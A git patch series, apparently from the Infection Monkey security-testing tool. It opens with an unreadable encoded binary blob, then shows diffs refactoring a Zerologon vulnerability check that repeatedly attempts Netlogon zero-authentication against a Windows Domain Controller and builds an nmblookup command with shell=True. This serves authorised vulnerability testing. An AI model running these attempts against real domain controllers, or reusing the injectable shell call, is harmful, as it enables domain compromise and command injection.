z-V*kGDgH{Mg1``^=#co+7VZ7I!uH%18N>E#vrR(<Tq=kJFylOp<5LAG)v1xFk4Nzd
zW8&KRQ=cb>du}>?3yi-3kNuYrLtt`VFfugc)2Q)yn~mO0mtxQC+&JR_ZLOlkp__?>
zgi`QHB$o=g**>5VYGKtx@(VaO(dQXQneCq;y%jTQ?LS1J(kA>9-7UWJn#PgICxDJn
zEy5^N6rw$MhO_=@i1?H#8H|rI-&aP6FnH^{5ITqqE3u9Cj;3Z@s_`^64>=Lk+Dwt8
zVaWOSnC@<#dT~}(a+7qm7fGM<BUf|K$+Lpsl9-b(QV#p9&EGqa$_=nF`5NfULI1Ij
zB~2{h=E%HPkw>C~-%58*XzoUdVf0j(b3`lY8)GSA_#o=(0zX%ojV~kZ#x$uFO_eE!
zbF^H_-YW)+FWhU~wr__2K}?awpB^gnX%13kO2*ureklSS1(yW&I#H9*G1uB$4Ah76
zxKye!zrnlx^!Sl<4m#Le;<2+{Z>Zx6eeujx+tZ6{oqN7v`4&H5Yk(&xdl}qSRv)dp
z96VQ^xiRjaI2(|a64FQCVPIRU7c}#<(OiqFpU=3x>dp#S>>kOB($AZcr`|s&h*dBK
zI9alRO5}+6RqFg(#f1@~KYE(pZ=1f?@1eo|_tK(V&!El*sq4G2{r!grRx?7U%y22y
z6T>7*QN50Hm51zz&lY-r(uHKBoOHR(Y;e0S@!!d7?MV<_fF`AzUs<}A2i^#aUv1~v
z_sGLSM&|G790+(fvNVgmX7m<Q6b-b|D^ecyG3`KK$8~wg6o%@o=f{!f9dsv;q&9R9
zmd{%bFD5%(&t<v3UQ3CaK$H7Y=E$((0L`1}{N1m+-bsBUWU_ux0zxB(N+kfM+2@0%
z?bsf^Gi-qYoM~Wh6s#Y_M813(%NY5cpXO-R0$BmoWwGkjfR9Y_)Hot=FVFPVy{k9A
zB-MOO$x>-oE8nknRJnL8o1#%XCccyuu`wu5TR?QQf8**RzPFcu?NID|Mo$=Bv8Hdf
zY0(Uxb&8hl&^4)#APD;if_p3sq`>ACQpE5%crsi1Cq)5@u>lL*9-8K+Q()Y+?!A;;
zt()o}A~Cp=m60<c4seiKRo9Iu2kjOxWe!yl=!v4DVY}cK62mh+yZ_q&UT6J)k~crk
zDYGBFVIDo<(;u#fjFgoPSPmC*A31!PIUqgENDk{WKUeXVr!5Vitslx8c4rKQ(rJ|d
zYby#nU$=FS?=qrP^B+pgt=)OSEmF(&ec>fNU-Kh?CdW1qwv;3w;NcT_daSl){;BV}
zm3(BU!d5{Aw&l$BYTMaU5-)%Z*-_#y@d(ej`&F#r*eAyhiUUa4wZB5MvRvk?lkM=G
zE29fC%_aIU#}&`F?j541NAnx8AbLebMaz9#pXI&_E=A8fZ-Gne4nmvkMx##q<t0BC
z5I{5}p6MyQ2a6AIMvl3JSlw(N(i@KI9(p(=Bl?Z=E&5&-$UYUI3`Gw|tvsFGo*xlp
zTIC+m(lk&LyNR6L!Vlcw-wxJ)INYy0TqJZ?);_AI>!i3V_<wIDjeOu-jE-8T)J*jG
zP-6EgpfLhSrrc;F%6$Bps=9EF`Gs26hd{&1H4eSp-r~(#<pJZmd=hLQzphQ(`}B(%
zent(!Z>p)h8k$a8_L{E`*4@kuCMjhPYZYQH?e~E-;Ta+6h9h%VVo2>ulJ@Z6=>BNC
zIg0N*P5PQXx+(cBJ@oo&idIq7j(;TtOF2Po0RJ#J-to+A*%H9C{UfRV3*)j*9t%bs
zCKg=A&6|z*FS>UgZm=%}V6=ba_<!Ld(})%yZ|I7w>vU7h8Qa-RpGHI32hZw5je4?o
zCT93lbT7}n8_=}V=`Y2Wsw5ID71VW#-d!j@>aeOs0-)t@qMF9Tw$R9Pr42h1i`NHo
z&V0cSHjZ)4GQKKPfr0<46d4lKS6jTR^B9O;YDFm>mWKN44Ui}X{AQxnJ_VJDM4lO-
zLgKIKWp*4MA$r3><{dt~dbOg#cQ4e{Pn`PSb@zV}dBRYL0=wwhp%w4DE2yE;VkL>e
zBqnKN#j;dEEqg9mRlvh{Ho-S4ClpW5hJo@-qMCX+^3h*A>K_XqNO~+7$gB!2hp$3>
zjbU~@+1$9|w$rK;$sdD>oObg}P1P`6HIsJFMUmESMQooQa&9HArS8xFaiXJzW5LE#
zv?U^?5OY^gtYIQ%Hv=^~bCt0M)e=A)UO_(}%l?WA^RT9f|M3ZmFUIDy%Y}rdGNbT~
zZ^8Ac-caTxJGUCVnU(-$Q#liw6%FdE*$Q`;&(O{v7UXd%@BB*@{+&Ps?-cN${yxB&
zlQFU?E#g1TL$`GqJ6kW@3~-c?F1Aa*amn~Y_M^AaX$S)(Sn=5ZXk;@0R4ooWru}RI
z2xVqY0X^O7`a?wy%0;XijZLoCcLvx3N0Dt_#aYH#!iU49PnC9jC~DNq6Uqnblc@7n
z!yg9m=d}Y#!mm7MFZLs~A!{f8U17>D3wX3E(b&@kv)ipoS1(-wzAzGkv^p}7L?2uK
zx_@RL5=vH#Hc8`~4jTnW@sUk<e$|@KLZYEP1Y_7EuBcsoMaoYaIPO!HB3pG~K%JI&
zYj=>(@7P<cohI0bnSwk|A3G`7i`%LJo2s$X*T}DjVBHa&+Fz5%AFcnSS&FH*)s-iS
z`GBHw&=>HP_}nf<LNEJ5u~?O{Jq%;mJ;9w7({g@I>x!y{m3Wlu2+fM=K0O@W;MlbT
zyY5w-_xL<rO<1)2{MRzWPWPX(slrQ+o%WOolmbD{jeuX@$<n<(EJ?G-vGMRdw<+Zk
znmrUZJya=br`Df;FLUf&N*4T<&uO~YdL|ExGm%L3#INIjhKQ??s#81EwDmtBEBiCX
zHS>oDCg=ICiM|ivTyvoKDc4aQU^IUViPjzeG$rUKL-`n@g_BoY(WBhj%9=1>?cA4h
zDr`nGG)+3#Uk(qn{*1oZq(W6I3aohp-<ep@cABowzvUdQN$y*$zUMHm)hj@`-(wlt
z1lh1uP}y%wDbPIk(LAzObFcv6ZZL<xk(1@$!=pzd57Sw>nHgjp?wcavdC>R3{8t|E
zNYo9}LheQXsaB+}I+Wk`?ka0_Xf`+BSA&+V^M>#gL|UG2hX<T3-mF3}<5qt@!5R{s
z^v4vfEKc79r`IH7Q^`E)dg%BENxje&^P;h+#ihWyMuuKdk{?+SI~CqIVsq!)$`<DR
zTfvKUE(P*VsI*=jp&%Q3vlV<~fYO@XPfacnM=Sy@Yn7+BCKh_Ecq~fBc1w{A$&OTG
zk?g8nsH7&oWNw~frc<*E>rjc33s^M(^hEJGn2DKHu=qCx*$I(<Lnur3ga%Q&U`)IC
z3r%s`i4~2i+kMN>7SZrrcenXEAen|*U9dqv4+cK!wMLRPN}d}ECU}WLx5l(+ZVJh`
zhodsRHUm{j_z$(J*^}ISGN=afU?7BxCQmmt+!LGNh*U<Q!p^p^CM~IT*;5TMePWr9
zO8rK<GB^)%mt}Q#ia_}cV;-%ZM{A<%6N&}TeXTH`U;1Hfl*5ow$tNPqJls4LwFC8#
z>vI;q&6x`_0~vIi(PyyB7?-ikbCt%4GoeP`F!T`2a|bSP6>ES|ok5Hp0KD?1MeYHG
zeq3p%NxNhAY?WjXVovlVdzB?I_?SfI83zD*nne@%#nmW=)wfOZx03ZQ)TPzZ`{xAL
znw@nrduOuo+JIQ4bZXhW{-+6a-ta(!1;O2d(l&P(USA+d((exD8YRs#fTK##QNnab
zcxq!1Q4_txb`x6Jaxngf^3=EBF93P7Rm<|Xi5@QrgR>A1)A5_Y^QpNIWN3f6P)`zm
zc?rO+!(3PJtKA(+p~XcxR%$P>;>EQ%NU`K*QSg=*%)R8Z?7Xpu#Ra00PXH;Dc-a5a
z>7gPaJeK9IRr$Uy6*)svhwVQ8?+pIEr3*7Lz<~jk8&7nD$hyH_$%rCVWICazpm+_x
zACUcTJ%7Z|<Yu?DS79>dD0s>ZEaKJ<R|$1x25{;EnzsFz(7v7$O23Y$_mMBeJGXnz
zW}BA~%wMSt=QVb6OxJZWlfMA=**rk>Jyra0Xz%|VIw5cP)ho9AQTor|et;KVd{v}v
zxwrHChPzxgCVlVMb31+q{uwlVlMtKy=dLc_uOR@Sc|p&|qziuj7Lm975pKP(|I(em
z9`T#59D7IU>#s;00ANT8L+{yL`P$n6hYx_B_uPq7e?8^ib^)p14<7o~U2l1Fck>my
z|3XGSpKUR|DDdEG)w|{P!v9ZR*UH32@!j?zHc*57PKV{!I9>D0zfZYl2M6G}L5Y%F
zNUPKuN{Kh=5VH8<;m*?XGsL<EY<KA1Ejwht8`k;=;WT65e7j_InsotNg-V8QH+%M}
z!J%4N|C+MVj?(8Db0e+{z@#s}ub=`UK{9_tA-W6l@@Wdx`-0G<<WAeJ75qj0Ejy&X
zKlbHPmtr33&ExWzE{KgB3*~CI^W4Sb?XIjXw{QLPq+}m@1w4b1XRRBYd`}f0x^K%4
z(SM%cZzv@1w(Gj0!H%70w`}=*?)wT~&aLn|T4?sdzjgcXS9fgr&Gowjz5Y=1%)B5(
z{%HmKw`041+Hz0uyTdp}pq@N_s&xO=L8*K9e*f1P2$xk;dJC;l<9Gi&^~;uDmA?Dm
zmB}GfnM;krA1*_GJ@8=5mN)mm`&+rLOUDJ%^m9XT`_8@jb;}?1-`)B4GarS_i!+zx
zTo%t>JoNLwCv*JkWEAvw>^%Q}e=^5(Jd)^xFuj`|sNVmJY2Bnvs>3a{wr9_NG;mB8
zRgtCi7zXDBX!<<_t?eq_oL71GZhqj%THCl-%}E8_re_;&uE8~AR@Kl`Zy3MvI_6*(
zDUelh3G9;g?9`8@QPhz|IE?<`s@Zq^UZ8AYY3V)fbq^w}24rh(>bSr)!)SL=4=2y!
zoYSlPcU@P|PZO`Y?L3X|-fzJ@k>{5^PfB_7>VN>Hz4!nfq6(?DpV(uQ$gea*yVq4U
zUE7QR<pA6CZNqOGyl4`bOzsjy``O3Vxr#{0ODoZKqvki@S1Xc6ub;gd1I~!<9kp}i
zd%J|~+q8#cK=aQh3i}y(?h*YT%OBJ0y}?n8P@mtBb7?fwbmHm2VENX*39+V=-P}d>
z&R649vLF`Ts6IA-4P|9Aw{-NlRg0)*6=nY8t+Bd+-9Nfg=Lf^8-St}RENt_YwTZ}O
z14%*zNZu(*fMT#avd{vMLr-LdYe9wr65TXp-LvApC@EZZr+>@|HWv_uW|LFagaHvy
z#QiB`y6+%xD%@-nzc2fj8`b87-*+&TkQz?+X@^yge$q+1zHg4w*7fE}goqq_IBymU
zB6n))RK};n%8j>@vg_M}i>*TWOSQaegUW2kD<Z_~J)d1|nUv)B0d+Dp$CGQ1(GG|z
zbU;0m=X_m{><s}#s<fMGvCmm8)Jy~;^VS_(70pk@i=vXaxk%H((~ySq`3AeosmFNe
zmB#1@SBNShQ=I4zu{)pXau0H1NJSN=`<us*CiKL@NaO7hLLWcBq-ezNQ+f;o?85+8
zXG9k~xw9`)?ZxBw%r!ym&-fQwJSSWFWQGB+Sbh2O!%O(;?S#&eKOR1TWpmw5uIq6M
zZw^LuD6-u(5QJ!Xm!kP7SK`r%A?g*4LY<C!nHYC993|?%YY}G<3%>EZ4Xdlrd6M15
z+@N37Y}a0<PnKA^2iUU;9Av&E9a-Mheownnhi`C@IFlSZR~({pnL)k;WnNCt>cZ;J
zTH~4&e1=-#ncS0S22*ubM*9eJZfHT%X*VhkQa^-w?&WIv&1i=42xqfJrgdW5_Gac8
z5<Eu66)_VOw92f1qNg?2fac4bPB*==k+~cRd{%s*wrTcJ(T2-?FeJHtGVcjfptqd@
zb0?CSxyG8@TqY%|dG{Cj@pT;aB&?>Bvzt1rHYb~#rHtD~PKsi9MuDlrhdJao+$kA4
zqWC`N;!V6_bC4kR4gT{Au^a3BOciZLNt#1N?addf7|k3a(5_MuZC6}Vc^vZW#qjo+
zCNt?ftY&H~gVY2McBnFeoW7d=gxAo#%7w@2bWWt`v!WThS=W=8gHoK+G$?Pzc4h*@
z`Z1!_mgkrQxMtytImYxu{#7U0)axS9q!)Ka_J=iv_9~K$`j<ItL`*CpuuLl|C^>b1
zXjgcAz+U55td(r<m282Dp4W4$o^Ig@3aLP3OrG?v9;dD|j7C`5>k-d?4Hne!;ST5Y
zL{j_)Yn|5eOZ3A$m;s6QgvawMB3@`#f|lBWlRoG6F)&Zvesuy%xE(_+oq$`cWT|ey
z8Nmp-2`MfnE53~Fd^PdRKg;5VZt?B}j`VNAfRzX@I>yn{ZJLwwZ#ynNbda=^%!JW$
z1@$%8lCO7doX@27-N4T&Nc<S4)8Lf;xn)J%<6!eqdS8>9dRhvoQ;~fjlI1Wo*VypU
zN5pq}mYE5Vv>yD)`ve|y)u6JEHdIAItcdn*np(a0SC&!Xb)%1&x{PN|Zz~$pA`~TH
zs*lVwR~luy-`8Zji8;+*ChAqFLelZPskQr^xr>5T@p#ssF`(muSafr=1<ptO>XZQ(
z56x}$KEO-y_$4>qF^x0nak&NkH2B7=1fK;byiGNr47EE#{8DD+gTeOxnAB$6nbQpE
zNQjpguK`k8Z;29!M*-`$CNso-X0Svzik?!h8moC09{()(suJ73i<aNwGnUEDUlLLG
zu)H1sgR66V2NQ9u0BQ~eA%wf=+&?)k42@57Z<(xHoeZD{>1IAT#T@R%e}1(~pRZQs
z-2z#R!c&(FKEYe`M<X#tQp%STl+=Dq8x@Y0^nL@^q|W7^rUo&MsWaCVTo;^HjawYT
zo5y7fpYnHWGIN^c)iPrz)B4P{)JG<({LC&8x02rRHS%1hB0^?NetQy_$d^0yp;P&Z
zH(_XXlDhKx*q$=Sg@eoP5U2L2eP%5V3tFz_V@%+zrr06P<Pz5__JaDU7KFLBs`b-;
zMgd|q6Q=4Lj$Bk|`r#i}|FU+|_GW6mTXRMXs5%y0OvYRnQF<|^Gm8AZW~Vee?V!tI
zYE0M&Jf87Ou7J;Yy6x6(tt!z!Ep*gJP8p=U`?8-u6d04@g|irZa!nW-VKhAoYRGOn
zlFaefcG(<PmjjYE_~|;tieCN>O^&-Er?+^YKmR6HP@m-A0bEz18sREMG*VZem+~<F
zqC`+Rsrw%bhF^2Hxuue}IX-2*oev7fI+?q%%B(L@+oS|Mey<iaV5*H3k#~uJ4F>NW
z9;HG>oodFEj#K=?5Dmq-kqj{ZaM+NL*~updPqLMan*FG`xh+%%g|}Ouq_&b4xtICW
zcgBYws+{x7G4jjWScWI=SJwvMT+C>r`gFMgskk6?t#|7W6--~y(lksL6g{fnS>Z9>
z9WrA*g>qBo(_T58{v@bBGd1QX=-snov@zt}qv+n^0D0S-;nSNObrGo4+JjQj?1(m4
zku%b&<Byh5t|s|^m3QV*O<&s{r?sG#T9<-QszR#;kx^xm$)H7)S-{FnP-KuWM`lPW
zVpX7kGK7Qx6(nkfL_vrFl1Q0^1j3-ikO_ehAwYl-LLh+`^y$5~uKVX(>%RB?K5Ok?
z&iVb$-rvvO`<&b&Tf*1_HZjsu^@pdOk+R12V@huK3sX`Pmzx^(e0sdcT*odNj!JIZ
zL?uqyx!i`8pQc)EL@$gDu+QkApEA6!4z0b^S@|#*aTdv$vQ~X5!5n6=fMS!(yGkWe
z%ejDgu~KG<peQ-=sTF!54=LOX!6e&%R+2t0jKPQmzn_C*<G-<uUyQ4F$!j;6$nEs?
zB1?b%D^hA~LVJKBt*=%cL^O@h1oh}WRZe>pD@ulJh97jZ^W&yN_{r$j^=!ZS>N7if
z%prU)*1)|X0SQ+6-+u6p|CaT$M?7+S^LCdKP0pJsA(kqbiOmPmQ<oj;;dfsuXO1K0
z=K5=w>NzalxgPz3IF{j&lWhzeSX46)8@_ny6!_7dnRv6Z{zA)HG#KB)olTs%6|BH=
znpA9`VyE)htKzgfMTg%aMQ{hGihyh*YPeBdrmsQdxN7Zw(^U)TG%+h3M1oy5qYCAo
zeR)Q-2Oh=nKh9mr>z!MM3wRaenm7ahHwx4Ze;BGv$p0p_LNq7OZfjb%BqAjb+n^Ms
zx!B+Rub$x9RA@=~?N+4Nu{seyZBEom0Z0GcDP1wA?dQ2~oOkeuBE4-c80@9Tn)oN3
z2z^!79rb!gd%ThLLPk)y4!S_YY8D1oR3wz%*5HvM-QwBH4qH6KZJC>Dr+(RAl0mUv
zZ*7;zy8C3&=VXj{aZ_49W$3L&n1ZvbEx*?@*&th)xq@C=xl;6bX(;ls`Uk_PGsCaL
zYEo^%0n~{FYB%EY!LsNLukjG+3zLfu{zhwaF@3c)TcQ)5cbp%YiH0B>tjrcvD;;pB
zOSvwh+epqK<11Q!o+XNElGzV`Bb4DQI*!eUfQC~`#-a`^wv0u&75mP^mE*p3USzA3
zuHndH#Ci}O9l2O8fcf^pg%23ey#%CC@$ia4R2<<!_BC+P^w2}Wsu0^7x_w{v_@*{K
z+N~frs{TKR4gaSY=-*6+x53dJuKWO)53`}-Js|PPv!}aovbOSnLPb{FA!4L{>C5S^
zG}RkffW^pESv5@l?;Og9iq@OeEtYRJ#2k36D%ih?q*Z4&{5K(3|Kzqu?Ik?szoKi$
zf|DS?fv~$1nJU<?_sb=2fWwL1S)Z|TN040}+}Ac)i#^?e1cCct$KniOY6BB2G|5PO
zR<jd_?iKdFw3gdu_z`<$IU%|KkVFTA2>{;W8RnT?VY<3bQCL6SPdZ91!3~p5uzr4+
z``>xr1}VusG5z!zcUUj*zLh?Jrc+k0!}2e6_<<)!e09*C?lXF#k+0-x_J1V39{@(~
zH|jDAb!6i`VTaM4bw1wH4cq0sd_R)B4P-LGn4af*>Vod%_j<}yUGH8!&ZZ6hPd140
z#TpHnH6dgZFKw9xgm=&1EHrKoCwv`DFV4TDAa}0(AGRAcp8fwB`3af)j=6J5h@By2
zm7StBY8F+*JvaSA4)iHG@{+QAz4&~B`l|HT6D`(U;1{_x-z-UjO{{>8#Y|lxnRd9`
zi=f}_u{Q^n${G$n0qjKR+R5gcXTOKNqOrrqGSZVv1jF9=eXcqu_GlaA(A0KlojEUB
z(^^Y7ZI2lVA*Z@Nn(g^D*S`rhc@1JM9S%-EuIsG1CXDALbU4c%U|_Zj+-guMs!X?Z
zuPGFL_BNl99JYN;xM{$;>wa(q<XvpIQyOA}uV>**Zv<GuU!|g+e@Eb`LcrmcLF`6t
z^U_y^0`zrh=q$;xP&RG<sFsXqhe((c{Mix1jXnYsk+&ATP<)^<7-Sv{iTqM-Smomu
z%&(Z;I$P(yAP+3?+@@bWx)w|X&h;Kv=MTg5c~-CbD{tyyRP|B!uhujST)9yf+000i
z2db%DOzdW5swsH>R`HmOah7{A@+o1pSTFs<|3ZyCkeE_NCEr5cgeZCXj?#Rp#t)`&
z(q*S+%jeYHtT=`-WW!Qd)UzaB&9uS;<CHF6&%{Y%#J+yf-a4viu#yk_ekd@I?chAs
z=Ga)*YdJh{ElTSBGlsR-j2}vVD6aZKh`4teH|M@=4S1K%YF&5XEvAVVHOSzXgM9vT
zqpH@6^iU*#sMrWEbK}1zjUWR=FxcyvG}NP|WYSsHlPrSqh{hXYfyj`DccUi|G;_nq
zvNV@$?Y`DsK`brin+-0u%`to*SqfR1w609Z9YO%}ZVxVGy}yz>jx|Q8<ELUUJocOD
zu7K&pD7;ImL8x?ZsizH%D``&QgfA~NQS$}Sn$KB?CR4WTdZ&wAsA5JJvietwzm1$6
z=k~`8+lMbp&wbwc_n%%{T0Urf%bTmsBc647&a+Tl>gn)BAj;gM#}Lgk*4(Yl^lEcb
zM#mk`dFR6ru!{rJ9lWaMUj>N`9Ht<G1zS$v4WJ!0If@c7=mr>G+xCry%NuE}qn(B>
zySId!Zp}xWqyNH9Qo!&y!1O;JKvTUVQQA(L!k%b~1=RA&YTJP-z5(xN4=;wA2XlAG
z1|y>HW<5OlTiVUOwa_vpqqjB}7N%4+lmgzGTUb;AS1RhMh9+mWO8Db2)$^gnJCdC_
zqxo1_=ZL`--xy%)ZceQt3wMNK%bSe{2t*WrPlmEiqSjJ&WA2_(+Ou<wk+9N?GxKmk
zU>|p;Bw%|QD^kkB<p5U$A^zCWQZU+s+obo-(vP*dzHI6B@~ea@Aj5dC1>1GiLOQ#3
zc%TYiLgA_u^%1k_>%`i}eMB1FX!S`VA>Yq~iV};g!`JmG56vL<Y_p1bJX<V^ynyte
zi|a=s^rbL$Ih*9lkBMF}4bpF*o2{HSw{xzZb`WL?T-Yn`p&Yzt%hWCpqww{>^?1xE
z*vXG7s&}YHk?UF?3l4JBr`5sPTftT|O}`W=W0&_-P!Y-wOadqoCk|h2M?g;$lGWm$
zc}cpzVu)TI?o(fVL1({u$$7zr114+kc2CqgvNGk3?D6~3nEHQ2U{Cru6b3{yS2%#L
zhQYbjLzdVDT^fe%D0AxxIPV_)CdIxDJ{r_7DNC(g;Zh5)#hc4}pnlkUn*zNlnlGbc
zhN{^qNCO?!b>HomYyC^1^K9@FvnS;RB1|%y)L%VA<;&8+i=T+#!&X(%U5TjnYLWv(
zo*8QI(E}_EX$DB{a#XsoW2`XTZC=U<RR69q$n~8nk?c*Ks1^Sec=5-h_ktQDi+$$B
z9Is{ZbH~9Oh=${WiZ8;lN}XEAG{8}AV_iN=diQJ>`ouX1dfadWgeofj;F$ykT^W3H
zuWu4lv6DV_<JA<5l(B+cVyO-3PEm{3%D8wJn9qEfF!wOUq_F$@W>eU+IqT128mZ@!
ze8p_n@+D0-maOV#id%5Za*B<^9_wpl0EQPpt0}`xQ_93qUx|@Iaj2c?YF8Tgg~j4@
zfTMEaaA4O>F4*B0XyZ`Ncdf8c6=u0&G4BOVp`|q{*Ic;la{|f|@Hj=g>aRNRrNe8f
zG<GtJclD9%fIRh_1!#7}Nmkp8d4(<o26!-%%XZ1GvHF`k9n3Jq9(kUshJ6y~HQ~k7
zdparru-&5u@bpl>qyQDbWU7JNAU3$q<sBZ(WC<7}TU$aOa;);^0z9<ojilbetRsdy
zg-KkBm0)45m?LXEi6f2|t@k+>FXQG2fC7`m$PlgLM=9Hv%6E#FG{(Xc4ynNhQ;CXE
zP#K^Uekyo;@a}a!^1xACn!vktS6Xs*uBJ-bl$1F;+-0M(k<-ZOFmQ9h)oVb*Sf;&X
zAFGt~R=q9};{CfS_M6A^kq5E!Nbs2>AzHV$bpnXPzTIUL`&+T6*f@JPMS{uI$aU{F
zd3++B`BTu+a!Ia~1(}2G{d{XZcAw|q^o^xX_!mYiEeC?tD5E6bt9lKiAosG=Z%{Mc
z@XJ2{o4Q(ruvKJzWs$aXN^-wB|Iz(&;5{{afvjdB^A**5E(+=!O|d5CRL_(HCCFpl
z0OGQ*trVoa@(p3nhvjL)({uS3Y%w^HpwJXp9@EFk%$0@&E8-b)ay?2PYb2X8Ai>+a
zI)kGBrY>s74ss=3BT1dA#y5{eg>^#|-bhyQs@H=%m{|p19y++Kv*OBY<&%-jP}THK
zIE*Exod!oiohj$TbEDU3AlV8^PE9YHSeJpVbT?&(e^jx1W+Y*PwbKIndv!Fhya%T)
z74TGC&8zke)xQg&m^Rn3aov@iMol_8Wv5C`muj;eb);d69~9z*skyVLCikTAlhl+%
z0K#BJzsN3zGoH?^Y_6WvWnJFJ*TmOFogCP$y@=B4Tq?Ir{wqHH_(i(_bBuY{GxK_M
zH#587>aJt);P%p6ZyhA)DzRyzmPuI1iix|&^nUdLLvrj+mOFnX2Ss+Oxh6CU?w%<;
z(J~F~e0v!CozHO)Xu+`%AG?7En^$n!9GUWk#W&u+gS~vo1pIPaH))Fd9M5-V1lrw-
zQjFNh2heWeely~>S`)#2@zZ{x*ZA|Q*Oih9ZAH>PXLSqy?~MguW+`a)O*I5R!`>ay
z>#KUK;AT$lAv{#q({AY=IQ`pzvJDY#7~P9W%uDVn043PrJq@{%wE)QH(Xz(9l`1)j
z&E4U8#n>Oggb$3)|4NA7-!XKbFZyYZS+FAl=#-w^+LUPMvOc5F#TOVM9EhTslIaK@
z2h~c8iaAvk((d`<RStNj`<lGw+n<Sfk9!NDiPD@7eK*qz4KM|aT3Qffx0irjdV9dD
zPf~-U^7Le#BAiZ3fH;|}Z4GaeDFP2NoX6w*2#)N1G+P5zKgJbp!N&=QC5h#bgp1{L
zd(UZ0(O663UpUsWHN;>l^hvGiOW#m@WCr!2AiBENa;=!r5Epr3sWrZ%ET{}oVz|ci
zbN-WRxKMAm#FACc{w5MsWGCJhd&lfAm=gEJoT=4s>7co;n*ZilqM7tmxu<a!;lR3^
zRpTe2-{`_{)T+5`pYmwbxaMcR6LeHL?J<(oyyq8~@Sa*n!@IL}e{K35kdAU%2Sr0g
zP0H(p286UKjp=<BBhek_=4<05T+)utStGdzhjPBlsc0|&hHu6w=NlQA71>|NJGDQ0
zJ9=4DU=Psk*Q5A1B0t-C`oCpFHxxjY898IOzragw)~BpuLxmDCDBNXLN!Mw@C8AF9
zenwx*vvuy<V{(!xC-&_lpqmo-Ba(F-1Rq)+f5ooYN6W}N>hooi9pcYud0pFN8(6t*
zybp;&X}wCA${-L<amwvw+8Zsa^w+wd=oc&;-Jx)(Kh_Bj{}a>M&}%W(xA>);w(BSA
z0?>E*oVs8sQ@xI7k8b(jGP22vGUWUBtO!kR>0WIs&VQYSQ&8*>I$SVv#QiHH@hc45
zg%#^UYo3fsv-X2$;h-ny{4kdr>RxS9@IPGBdkS_?s+&GaMdFr=vv@_ymL&Y9u}|#_
z&n=DII~ci*a}Sm^S~6?SlTAX<4XJATWe?7}Q}iCrwtV!;oB4qMpjL+``Rh;};Eze~
TbPr{3{xtj3F1F}Xff@e=2Sl9J

literal 0
HcmV?d00001


From fc9d21201f72d9790641b058dab77cff512839d7 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Sun, 25 Oct 2020 16:21:19 +0530
Subject: [PATCH 18/30] CR changes, nothing major

---
 .../network/windowsserver_fingerprint.py      | 21 ++++++++-----------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index ddf5b42ca..7873f81a7 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -17,14 +17,11 @@ LOG = logging.getLogger(__name__)
 class WindowsServerFinger(HostFinger):
     # Class related consts
     MAX_ATTEMPTS = 2000
-    _SCANNED_SERVICE = "Windows Server"
-
-    def __init__(self):
-        self._config = infection_monkey.config.WormConfiguration
+    _SCANNED_SERVICE = "NTLM (NT LAN Manager)"
 
     def get_dc_name(self, DC_IP):
         """
-        Gets NetBIOS name of the DC.
+        Gets NetBIOS name of the Domain Controller (DC).
         """
         name = ''
         try:
@@ -35,7 +32,7 @@ class WindowsServerFinger(HostFinger):
                 cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
                 name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
         except BaseException as ex:
-            LOG.info(f'Exception: {ex} Most likely not a Windows DC.')
+            LOG.info(f'Exception: {ex} Most likely not a Windows Domain Controller.')
         return name
 
     def get_host_fingerprint(self, host):
@@ -85,17 +82,17 @@ class WindowsServerFinger(HostFinger):
                 LOG.error(f'Unexpected error: {ex}.')
                 unexpected_error_encountered = True
 
-            return None
-
         DC_IP = host.ip_addr
         DC_NAME = self.get_dc_name(DC_IP)
         DC_HANDLE = '\\\\' + DC_NAME
 
         if DC_NAME:  # if it is a Windows DC
-            # Keep authenticating until successful. Expected average number of attempts needed: 256.
+            # Keep authenticating until successful.
+            # Expected average number of attempts needed: 256.
+            # Approximate time taken by 2000 attempts: 40 seconds.
             LOG.info('Performing Zerologon authentication attempts...')
             rpc_con = None
-            for attempt in range(0, self.MAX_ATTEMPTS):
+            for _ in range(0, self.MAX_ATTEMPTS):
                 rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
                 if (rpc_con is not None) or (unexpected_error_encountered):
                     break
@@ -103,7 +100,7 @@ class WindowsServerFinger(HostFinger):
             self.init_service(host.services, self._SCANNED_SERVICE, '')
 
             if rpc_con:
-                LOG.info('Success: DC can be fully compromised by a Zerologon attack.')
+                LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
                 host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
                 return True
             else:
@@ -112,5 +109,5 @@ class WindowsServerFinger(HostFinger):
                 return False
 
         else:
-            LOG.info('Error encountered; most likely not a Windows DC.')
+            LOG.info('Error encountered; most likely not a Windows Domain Controller.')
             return False

From b3e969528948ca7b9c17039ea73dbb5d174984b7 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Sun, 25 Oct 2020 16:41:50 +0530
Subject: [PATCH 19/30] Raise exception instead of using boolean

---
 .../network/windowsserver_fingerprint.py          | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index 7873f81a7..73e5d7bdc 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -39,7 +39,6 @@ class WindowsServerFinger(HostFinger):
         """
         Checks if the Windows Server is vulnerable to Zerologon.
         """
-        unexpected_error_encountered = False
 
         def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
             # Connect to the DC's Netlogon service.
@@ -75,12 +74,10 @@ class WindowsServerFinger(HostFinger):
                 if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
                     pass
                 else:
-                    LOG.error(f'Unexpected error code: {ex.get_error_code()}.')
-                    unexpected_error_encountered = True
+                    raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
 
             except BaseException as ex:
-                LOG.error(f'Unexpected error: {ex}.')
-                unexpected_error_encountered = True
+                raise Exception(f'Unexpected error: {ex}.')
 
         DC_IP = host.ip_addr
         DC_NAME = self.get_dc_name(DC_IP)
@@ -93,8 +90,12 @@ class WindowsServerFinger(HostFinger):
